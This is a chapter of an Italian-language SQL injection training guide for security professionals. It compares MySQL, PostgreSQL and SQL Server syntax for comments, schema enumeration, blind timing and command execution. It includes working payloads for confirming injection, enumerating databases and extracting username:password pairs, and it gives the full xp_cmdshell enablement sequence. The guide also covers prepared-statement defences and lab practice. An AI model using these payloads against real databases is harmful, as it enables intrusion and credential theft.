SQL Injection: Anatomia, Rilevazione e Difesa — Guida Pratica per Professionisti della Sicurezza
Capitolo 8 di 10 · aggiornato 03 lug 2026
Funzionalità specifiche del database e comportamenti di injection a confronto
Riferimento: Confronto tra Funzionalità Specifiche del Database e Comportamenti di Injection
Quando sei nel mezzo di una valutazione e il motore di database del target si rivela diverso da quello che ti aspettavi, hai bisogno di risposte rapidamente. Mi è capitato su varianti ShopBox in cui il backend MySQL su 192.0.2.20 era documentato male nell'inventario degli asset, mentre l'istanza PostgreSQL su 192.0.2.30 era quella che effettivamente gestiva le query di login. Questa pagina è il prontuario che avrei voluto avere plastificato nei miei primi incarichi. Incrociare con i pattern di sfruttamento manuale da "First Blood" (pagina 3) e i comportamenti di sqlmap dalla pagina 4.
Tabella 1: Costruzione di Stringhe e Sintassi dei Commenti
| Funzionalità | MySQL 8.x | PostgreSQL 16 | SQL Server 2022 |
|---|---|---|---|
| Concatenazione di stringhe | CONCAT('a','b') oppure 'a' 'b' (letterali separati da spazio) | 'a' \|\| 'b' oppure CONCAT('a','b') | 'a' + 'b' oppure CONCAT('a','b') |
| Commento su riga singola | -- (richiede spazio finale) oppure # | -- (standard) | -- (standard) |
| Commento multi-riga | /* ... */ | /* ... */ | /* ... */ |
| Virgolette per letterali stringa | Solo ' singola; " è identificatore | ' singola; E'\n' per sequenze di escape | ' singola; gli identificatori tra virgolette usano [ ] oppure " |
| Gestione del byte nullo | Interrompe il parsing a %00 in alcuni contesti | Trattato come dato, non come terminatore | Trattato come dato, non come terminatore |
| Sensibilità alle maiuscole | Nomi di database/tabelle: dipendente dal filesystem su Linux | Gli identificatori diventano minuscoli a meno che non siano tra virgolette | Insensibile alle maiuscole di default per gli identificatori |
Nota di Sam: Il doppio trattino di MySQL
--con spazio finale è un trabocchetto che mi ha bruciato all'inizio. Senza quello spazio, MySQL tratta--come operatore di sottrazione e continua il parsing. L'ho riscontrato su un form di login MySQL ShopBox doveadmin'--(senza spazio) falliva silenziosamente mentreadmin'--funzionava. PostgreSQL non si cura di quel spazio finale. Il--di SQL Server si comporta come quello di PostgreSQL.
In termini semplici: lo stesso scheletro di payload non si trasferisce pulitamente. Verifica sempre prima la sintassi dei commenti con un test benigno vero/falso prima di costruire injection complesse.
Tabella 2: Enumerazione dello Schema — Equivalenti del Catalogo di Sistema
| Obiettivo Informativo | MySQL 8.x | PostgreSQL 16 | SQL Server 2022 |
|---|---|---|---|
| Elencare i database | information_schema.schemata oppure SHOW DATABASES | information_schema.schemata | sys.databases oppure information_schema.schemata |
| Elencare le tabelle nel DB corrente | information_schema.tables | information_schema.tables | sys.tables oppure information_schema.tables |
| Elencare le colonne in una tabella | information_schema.columns | information_schema.columns | sys.columns con join a sys.tables, oppure information_schema.columns |
| Nome del database corrente | DATABASE() | current_database() | DB_NAME() |
| Utente corrente | CURRENT_USER() oppure USER() | current_user | SUSER_SNAME() oppure CURRENT_USER |
| Versione del database | VERSION() | version() | @@VERSION |
| Nome host | @@hostname | inet_server_addr() (IP) oppure inet_server_port() | @@SERVERNAME |
Nota di Sam: Il sistema di catalogo doppio di SQL Server (
INFORMATION_SCHEMAper compatibilità ANSI,sys.*per nativo Microsoft) è genuinamente utile.sys.tablesincludeis_ms_shippedper filtrare le tabelle di sistema, cheINFORMATION_SCHEMA.tablesnon ti dà direttamente. Ho visto analisti junior sprecare tempo enumerandoINFORMATION_SCHEMAsu SQL Server quandosys.tablessarebbe stato più pulito. Sullo ShopBox PostgreSQL su 192.0.2.30,information_schemafunziona bene mapg_catalog.pg_tablesè più veloce per schemi grandi perché è la tabella di implementazione sottostante.
Tabella 3: Funzioni di Ritardo Temporale per Rilevamento Blind
| Motore | Funzione | Precisione Tipica | Note dal Campo |
|---|---|---|---|
| MySQL 8.x | SLEEP(n) | Granularità al secondo | Più affidabile; ritorna 0 dopo il ritardo. Attenzione: SLEEP() in SELECT può essere ottimizzato via nelle clausole WHERE se l'ottimizzatore decide che la riga non corrisponde. |
| MySQL 8.x | BENCHMARK(count, expr) | Sub-secondo possibile | Vincolato alla CPU, non all'orologio; rumoroso su hosting condiviso. Lo evito ora. |
| PostgreSQL 16 | pg_sleep(n) | Millisecondo con pg_sleep(interval) | pg_sleep('0.5') funziona per mezzo secondo. Richiede il privilegio EXECUTE sulla funzione, che è pubblico di default ma può essere revocato. |
| PostgreSQL 16 | pg_sleep_for(interval) | Stesso | Variante sintattica; stesso meccanismo sottostante. |
| SQL Server 2022 | WAITFOR DELAY '00:00:05' | ~10-15ms di floor pratico | Non richiede privilegi speciali. Il formato della stringa è rigido: HH:MM:SS oppure HH:MM:SS.mmm. |
| SQL Server 2022 | WAITFOR TIME '12:00:00' | Allineato all'orologio | Raramente utile per injection; incluso per completezza. |
Nota di Sam: Il rilevamento blind tramite timing è dove guadagni la tua pazienza. Su un'istanza MySQL ShopBox caricata,
SLEEP(5)potrebbe impiegare 8 secondi di wall-clock a causa della coda delle query, quindi stabilisco sempre una baseline conSLEEP(0)eSLEEP(5)su una condizione nota-come-vera prima di interpretare i risultati.pg_sleepdi PostgreSQL accetta secondi frazionari più naturalmente delSLEEP()intero-only di MySQL.WAITFORdi SQL Server è la sintassi più verbosa ma anche la più prevedibile nella mia esperienza — non l'ho mai visto ottimizzato via.
⚠️ Solo uso autorizzato e difensivo.
Tabella 4: Primitive per File System ed Esecuzione di Comandi
| Capacità | MySQL 8.x | PostgreSQL 16 | SQL Server 2022 |
|---|---|---|---|
| Leggere file dal server | LOAD_FILE('/path') — richiede privilegio FILE e impostazione secure_file_priv | pg_read_file('path', offset, length) in pg_catalog; superuser o grant esplicito | OPENROWSET(BULK...) oppure BULK INSERT; ACL complessi |
| Scrivere file sul server | INTO OUTFILE '/path' oppure INTO DUMPFILE — stessi vincoli di privilegio | COPY TO con PROGRAM o percorso file; superuser tipicamente richiesto | xp_cmdshell con redirezione, oppure alternative sp_OACreate/sp_OAMethod |
| Esecuzione diretta di comandi OS | Non disponibile nativamente — richiede UDF (User-Defined Function) o plugin come lib_mysqludf_sys | COPY ... FROM PROGRAM 'command' (superuser); o estensioni plpythonu/plperlu | xp_cmdshell 'command' — stored procedure estesa |
| Abilitare esecuzione disabilitata | N/A (nessun equivalente built-in) | Caricamento estensioni via CREATE EXTENSION oppure ALTER SYSTEM | sp_configure 'xp_cmdshell', 1; RECONFIGURE; |
| Requisito di privilegio per esecuzione | FILE per lettura/scrittura; UDF richiede INSERT in mysql.func più accesso filesystem | Superuser per COPY PROGRAM; altrimenti dipendente dall'estensione | Ruolo sysadmin di default; account proxy possibili per [S3] |
Nota di Sam: La catena
xp_cmdshelldi SQL Server è l'unica di cui posso parlare con fiducia grazie a ripetuto lavoro in laboratorio. La sequenza completa di abilitazione, come abbiamo accennato in "The Attacker's Toolkit" (pagina 2):
-- Check current setting
EXEC sp_configure 'xp_cmdshell';
-- If 'show advanced options' is 0, enable it first
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
-- Now enable xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
Perché questo importa:
RECONFIGUREnon è opzionale — [S3] conferma che la modifica dell'impostazione non ha effetto senza di esso. Ho visto studenti abilitarexp_cmdshell, provare ad eseguirlo, ricevere un errore di permessi, e assumere di non esseresysadmin. No — hanno semplicemente dimenticatoRECONFIGURE. L'output disp_configureche mostrarun_value≠config_valueè la tua diagnostica.
Per l'esecuzione di comandi su MySQL e PostgreSQL, devo essere cauto: ho usato UDF MySQL in ambienti CTF ma mai in una valutazione di produzione, e lo stato di manutenzione del progetto lib_mysqludf_sys varia. COPY ... FROM PROGRAM di PostgreSQL è potente ma l'ho trovato più spesso disabilitato o limitato che abilitato. Controlla i file pg_hba.conf e postgresql.conf del tuo target per allow_system_table_mods e impostazioni correlate.
Tabella 5: Sintassi dei Prepared Statement e Binding dei Parametri
| Aspetto | MySQL 8.x | PostgreSQL 16 | SQL Server 2022 |
|---|---|---|---|
| API prepared statement lato client | PREPARE stmt FROM 'SELECT ... WHERE id = ?' | PREPARE stmt (INT) AS SELECT ... WHERE id = $1 | sp_executesql N'SELECT ... WHERE id = @p1', N'@p1 INT', @p1 = ? |
| Segnaposto parametro | ? (posizionale) | $1, $2, ecc. (posizionale) | @name (nominato) oppure ? con ADO.NET |
| Supporto protocollo binario | Sì (mysqlnd, C API) | Sì (extended query protocol) | Sì (Tabular Data Stream, TDS) |
| Comportamento cursore lato server | Opzionale; default è emulare prepared | True server-side prepare di default | sp_executesql compila e mette in cache il piano |
| Esempio binding PDO/PHP | $stmt->bind_param('i', $id) | $stmt->bindParam(1, $id, PDO::PARAM_INT) | $cmd->Parameters->AddWithValue('@p1', $id) |
| Astrazione ORM | Doctrine, Eloquent gestiscono internamente | Doctrine, Eloquent gestiscono internamente | Entity Framework, Dapper |
Nota di Sam: Il principio fondamentale da [S1] vale ovunque — il template SQL va al server prima, i parametri secondi. Ma i dettagli implementativi contano per la difesa. Il
PREPAREdi MySQL da concatenazione di stringhe è ancora vulnerabile se costruisci il template string con input utente:PREPARE stmt FROM CONCAT('SELECT * FROM ', user_input)vanifica lo scopo. Ho visto questo in codice ShopBox legacy che "usava prepared statements" ma concatenava il nome della tabella.
I parametri numerati di PostgreSQL ($1) sono meno leggibili ma più difficili da confondere in query complesse. I parametri nominati di SQL Server (@p1) brillano nelle stored procedure ma richiedono disciplina — SQL dinamico dentro sp_executesql con concatenazione di stringhe è ancora injection city.
In termini semplici: i prepared statement non sono magia. Il template deve essere fisso. Se qualsiasi parte della struttura SQL proviene da input utente, sei tornato al punto di partenza.
Riferimento Rapido: Porting dei Payload ShopBox
| Passo d'Attacco (dalla Pagina 3) | MySQL 192.0.2.20 | PostgreSQL 192.0.2.30 |
|---|---|---|
| Confermare punto di injection | 1' AND SLEEP(5)-- | 1'; SELECT pg_sleep(5)-- |
| Enumerare nome database | UNION SELECT 1,DATABASE(),3-- | UNION SELECT 1,current_database(),3-- |
| Enumerare tabelle | FROM information_schema.tables WHERE table_schema=DATABASE() | FROM information_schema.tables WHERE table_schema=current_database() |
| Estrarre valori delle colonne | GROUP_CONCAT(username,':',password) | STRING_AGG(username || ':' || password, ',') |
La differenza tra GROUP_CONCAT e STRING_AGG mi ha morso una volta durante una valutazione a tempo. GROUP_CONCAT di MySQL ha un limite default di 1024 byte (configurabile via group_concat_max_len); STRING_AGG di PostgreSQL non ha tale limite di default. SQL Server userebbe STRING_AGG dalla versione 2017, oppure FOR XML PATH('') su versioni più vecchie — controlla la build del tuo target.
Nota conclusiva di Sam per questa pagina: Tengo una copia stampata delle Tabelle 1 e 2 nascosta dentro il mio taccuino. Il resto posso ricostruirlo, ma la sintassi dei commenti e le tabelle del catalogo sono le prime cose di cui ho bisogno quando il motore mi sorprende. Nella prossima pagina, "When Defenses Fail," guarderemo cosa succede quando le regole del tuo WAF conoscono la sintassi MySQL ma l'attaccante passa a PostgreSQL — il problema del payload poliglotta. Per ora, prova questo in laboratorio: avvia le varianti ShopBox su 192.0.2.20 e 192.0.2.30, esegui lo stesso comando
sqlmapdalla pagina 4 con--dbms=mysqlversus--dbms=postgresql, e osserva la differenza di payload nei tuoi log applicativi. I pattern di correlazione difensiva dalla pagina 5 funzionano solo se sai cosa stai cercando.